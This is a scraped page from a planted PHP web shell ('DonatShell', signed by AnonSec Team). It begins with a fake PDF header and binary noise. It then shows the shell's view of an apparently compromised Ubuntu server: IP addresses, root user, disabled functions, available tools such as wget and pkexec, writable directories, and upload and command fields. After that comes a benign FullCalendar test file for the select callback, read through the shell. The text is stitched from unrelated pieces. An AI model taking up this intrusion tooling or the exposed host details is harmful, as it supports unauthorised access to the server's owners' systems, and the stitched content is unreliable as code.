%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/select-callback.js
import { Calendar } from '@fullcalendar/core'
import DayGridPlugin from '@fullcalendar/daygrid'
import InteractionPlugin from '@fullcalendar/interaction'

describe('select callback', function() {

  var options

  beforeEach(function() {
    options = {
      defaultDate: '2014-05-25',
      selectable: true,
      longPressDelay: 100
    }
  })

  ;[ 'ltr', 'rtl' ].forEach(function(dir) {
    let dirSign = dir === 'rtl' ? -1 : 1

    describe('when dir is ' + dir, function() {
      beforeEach(function() {
        options.dir = dir
      })
      describe('when in month view', function() {
        beforeEach(function() {
          options.defaultView = 'dayGridMonth'
        })
        it('gets fired correctly when the user selects cells', function(done) {
          options.select = function(arg) {
            expect(arg.start instanceof Date).toEqual(true)
            expect(arg.end instanceof Date).toEqual(true)
            expect(typeof arg.jsEvent).toEqual('object') // TODO: more descrimination
            expect(typeof arg.view).toEqual('object') // "
            expect(arg.allDay).toEqual(true)
            expect(arg.start).toEqualDate('2014-04-28')
            expect(arg.startStr).toEqual('2014-04-28')
            expect(arg.end).toEqualDate('2014-05-07')
            expect(arg.endStr).toEqual('2014-05-07')
          }
          spyOn(options, 'select').and.callThrough()
          initCalendar(options)
          $('.fc-day[data-date="2014-04-28"]').simulate('drag', {
            end: '.fc-day[data-date="2014-05-06"]',
            callback: function() {
              expect(options.select).toHaveBeenCalled()
              done()
            }
          })
        })
        it('gets fired correctly when the user selects cells via touch', function(done) {
          options.select = function(arg) {
            expect(arg.start instanceof Date).toEqual(true)
            expect(arg.end instanceof Date).toEqual(true)
            expect(typeof arg.jsEvent).toEqual('object') // TODO: more descrimination
            expect(typeof arg.view).toEqual('object') // "
            expect(arg.allDay).toEqual(true)
            expect(arg.start).toEqualDate('2014-04-28')
            expect(arg.startStr).toEqual('2014-04-28')
            expect(arg.end).toEqualDate('2014-05-07')
            expect(arg.endStr).toEqual('2014-05-07')
          }
          spyOn(options, 'select').and.callThrough()
          initCalendar(options)
          setTimeout(function() {
            $('.fc-day[data-date="2014-04-28"]').simulate('drag', {
              isTouch: true,
              delay: 200,
              end: '.fc-day[data-date="2014-05-06"]',
              callback: function() {
                expect(options.select).toHaveBeenCalled()
                done()
              }
            })
          }, 100) // for FF
        })
        it('gets fired correctly when the user selects just one cell', function(done) {
          options.select = function(arg) {
            expect(arg.start instanceof Date).toEqual(true)
            expect(arg.end instanceof Date).toEqual(true)
            expect(typeof arg.jsEvent).toEqual('object') // TODO: more descrimination
            expect(typeof arg.view).toEqual('object') // "
            expect(arg.allDay).toEqual(true)
            expect(arg.start).toEqualDate('2014-04-28')
            expect(arg.startStr).toEqual('2014-04-28')
            expect(arg.end).toEqualDate('2014-04-29')
            expect(arg.endStr).toEqual('2014-04-29')
          }
          spyOn(options, 'select').and.callThrough()
          initCalendar(options)
          $('.fc-day[data-date="2014-04-28"]').simulate('drag', {
            end: '.fc-day[data-date="2014-04-28"]',
            callback: function() {
              expect(options.select).toHaveBeenCalled()
              done()
            }
          })
        })
      })

      describe('when in week view', function() {
        beforeEach(function() {
          options.defaultView = 'timeGridWeek'
        })
        describe('when selecting all-day slots', function() {
          it('gets fired correctly when the user selects cells', function(done) {
            options.select = function(arg) {
              expect(arg.start instanceof Date).toEqual(true)
              expect(arg.end instanceof Date).toEqual(true)
              expect(typeof arg.jsEvent).toEqual('object') // TODO: more descrimination
              expect(typeof arg.view).toEqual('object') // "
              expect(arg.allDay).toEqual(true)
              expect(arg.start).toEqualDate('2014-05-28')
              expect(arg.startStr).toEqual('2014-05-28')
              expect(arg.end).toEqualDate('2014-05-30')
              expect(arg.endStr).toEqual('2014-05-30')
            }
            spyOn(options, 'select').and.callThrough()
            initCalendar(options)
            $('.fc-timeGrid-view .fc-day-grid .fc-day:eq(3)').simulate('drag', { // will be 2014-05-28 for LTR and RTL
              dx: $('.fc-sun').outerWidth() * dirSign, // the width of one column
              callback: function() {
                expect(options.select).toHaveBeenCalled()
                done()
              }
            })
          })
          it('gets fired correctly when the user selects a single cell', function(done) {
            options.select = function(arg) {
              expect(arg.start instanceof Date).toEqual(true)
              expect(arg.end instanceof Date).toEqual(true)
              expect(typeof arg.jsEvent).toEqual('object') // TODO: more descrimination
              expect(typeof arg.view).toEqual('object') // "
              expect(arg.allDay).toEqual(true)
              expect(arg.start).toEqualDate('2014-05-28')
              expect(arg.startStr).toEqual('2014-05-28')
              expect(arg.end).toEqualDate('2014-05-29')
              expect(arg.endStr).toEqual('2014-05-29')
            }
            spyOn(options, 'select').and.callThrough()
            initCalendar(options)
            $('.fc-timeGrid-view .fc-day-grid .fc-day:eq(3)').simulate('drag', { // will be 2014-05-28 for LTR and RTL
              callback: function() {
                expect(options.select).toHaveBeenCalled()
                done()
              }
            })
          })
        })

        describe('when selecting timed slots', function() {

          it('gets fired correctly when the user selects slots', function(done) {
            options.select = function(arg) {
              expect(arg.start instanceof Date).toEqual(true)
              expect(arg.end instanceof Date).toEqual(true)
              expect(typeof arg.jsEvent).toEqual('object') // TODO: more descrimination
              expect(typeof arg.view).toEqual('object') // "
              expect(arg.allDay).toEqual(false)
              expect(arg.start).toEqualDate('2014-05-28T09:00:00Z')
              expect(arg.startStr).toEqual('2014-05-28T09:00:00Z')
              expect(arg.end).toEqualDate('2014-05-28T10:30:00Z')
              expect(arg.endStr).toEqual('2014-05-28T10:30:00Z')
            }
            spyOn(options, 'select').and.callThrough()
            initCalendar(options)
            $('.fc-slats tr:eq(18) td:not(.fc-time)').simulate('drag', { // middle will be 2014-05-28T09:00:00
              dy: $('.fc-slats tr:eq(18)').outerHeight() * 2, // move down two slots
              callback: function() {
                expect(options.select).toHaveBeenCalled()
                done()
              }
            })
          })

          // https://github.com/fullcalendar/fullcalendar/issues/4505
          it('gets fired correctly when the user selects slots NEAR THE END', function(done) {
            options.scrollTime = '24:00'
            options.select = function(arg) {
              expect(arg.start).toEqualDate('2014-05-28T16:00:00Z')
              expect(arg.end).toEqualDate('2014-05-29T00:00:00Z')
            }
            spyOn(options, 'select').and.callThrough()
            initCalendar(options)
            $('.fc-slats tr:eq(32) td:not(.fc-time)').simulate('drag', { // middle will be 2014-05-28T09:00:00
              end: $('.fc-slats tr:eq(47)'), // the last slot
              callback: function() {
                expect(options.select).toHaveBeenCalled()
                done()
              }
            })
          })

          it('gets fired correctly when the user selects slots via touch', function(done) {
            options.select = function(arg) {
              expect(arg.start instanceof Date).toEqual(true)
              expect(arg.end instanceof Date).toEqual(true)
              expect(typeof arg.jsEvent).toEqual('object') // TODO: more descrimination
              expect(typeof arg.view).toEqual('object') // "
              expect(arg.allDay).toEqual(false)
              expect(arg.start).toEqualDate('2014-05-28T09:00:00Z')
              expect(arg.startStr).toEqual('2014-05-28T09:00:00Z')
              expect(arg.end).toEqualDate('2014-05-28T10:30:00Z')
              expect(arg.endStr).toEqual('2014-05-28T10:30:00Z')
            }
            spyOn(options, 'select').and.callThrough()
            initCalendar(options)
            setTimeout(function() { // prevent scroll from being triggered, killing the select interaction
              $('.fc-slats tr:eq(18) td:not(.fc-time)').simulate('drag', { // middle will be 2014-05-28T09:00:00
                isTouch: true,
                delay: 200,
                dy: $('.fc-slats tr:eq(18)').outerHeight() * 2, // move down two slots
                callback: function() {
                  expect(options.select).toHaveBeenCalled()
                  done()
                }
              })
            }, 100) // for FF
          })

          it('gets fired correctly when the user selects slots in a different day', function(done) {
            options.select = function(arg) {
              expect(arg.start instanceof Date).toEqual(true)
              expect(arg.end instanceof Date).toEqual(true)
              expect(typeof arg.jsEvent).toEqual('object') // TODO: more descrimination
              expect(typeof arg.view).toEqual('object') // "
              expect(arg.allDay).toEqual(false)
              expect(arg.start).toEqualDate('2014-05-28T09:00:00Z')
              expect(arg.startStr).toEqual('2014-05-28T09:00:00Z')
              expect(arg.end).toEqualDate('2014-05-29T10:30:00Z')
              expect(arg.endStr).toEqual('2014-05-29T10:30:00Z')
            }
            spyOn(options, 'select').and.callThrough()
            initCalendar(options)
            $('.fc-slats tr:eq(18) td:not(.fc-time)').simulate('drag', { // middle will be 2014-05-28T09:00:00
              dx: $('.fc-day-header:first').outerWidth() * 0.9 * dirSign, // one day ahead
              dy: $('.fc-slats tr:eq(18)').outerHeight() * 2, // move down two slots
              callback: function() {
                expect(options.select).toHaveBeenCalled()
                done()
              }
            })
          })

          it('gets fired correctly when the user selects a single slot', function(done) {
            options.select = function(arg) {
              expect(arg.start instanceof Date).toEqual(true)
              expect(arg.end instanceof Date).toEqual(true)
              expect(typeof arg.jsEvent).toEqual('object') // TODO: more descrimination
              expect(typeof arg.view).toEqual('object') // "
              expect(arg.allDay).toEqual(false)
              expect(arg.start).toEqualDate('2014-05-28T09:00:00Z')
              expect(arg.startStr).toEqual('2014-05-28T09:00:00Z')
              expect(arg.end).toEqualDate('2014-05-28T09:30:00Z')
              expect(arg.endStr).toEqual('2014-05-28T09:30:00Z')
            }
            spyOn(options, 'select').and.callThrough()
            initCalendar(options)
            $('.fc-slats tr:eq(18) td:not(.fc-time)').simulate('drag', { // middle will be 2014-05-28T09:00:00
              callback: function() {
                expect(options.select).toHaveBeenCalled()
                done()
              }
            })
          })

        })
      })
    })
  })

  describe('when selectMinDistance', function() {
    beforeEach(function() {
      options.selectMinDistance = 10
    })

    it('will fire when dragged beyond distance', function(done) {
      options.select = function() {}
      spyOn(options, 'select').and.callThrough()

      initCalendar(options)

      $('.fc-day[data-date="2014-04-28"]').simulate('drag', {
        dx: 12,
        dy: 0,
        callback: function() {
          expect(options.select).toHaveBeenCalled()
          done()
        }
      })
    })

    it('will not fire when not dragged beyond distance', function(done) {
      options.select = function() {}
      spyOn(options, 'select').and.callThrough()

      initCalendar(options)

      $('.fc-day[data-date="2014-04-28"]').simulate('drag', {
        dx: 8,
        dy: 0,
        callback: function() {
          expect(options.select).not.toHaveBeenCalled()
          done()
        }
      })
    })
  })

  it('will fire on a calendar that hasn\'t been rendered yet', function(done) {
    let calendar = new Calendar(
      document.createElement('div'),
      {
        plugins: [ InteractionPlugin, DayGridPlugin ],
        now: '2018-12-25',
        select: function(info) {
          expect(info.startStr).toBe('2018-12-20')
          expect(info.endStr).toBe('2018-12-23')
          done()
        }
      }
    )

    calendar.select('2018-12-20', '2018-12-23')
  })
})

Anon7 - 2022
AnonSec Team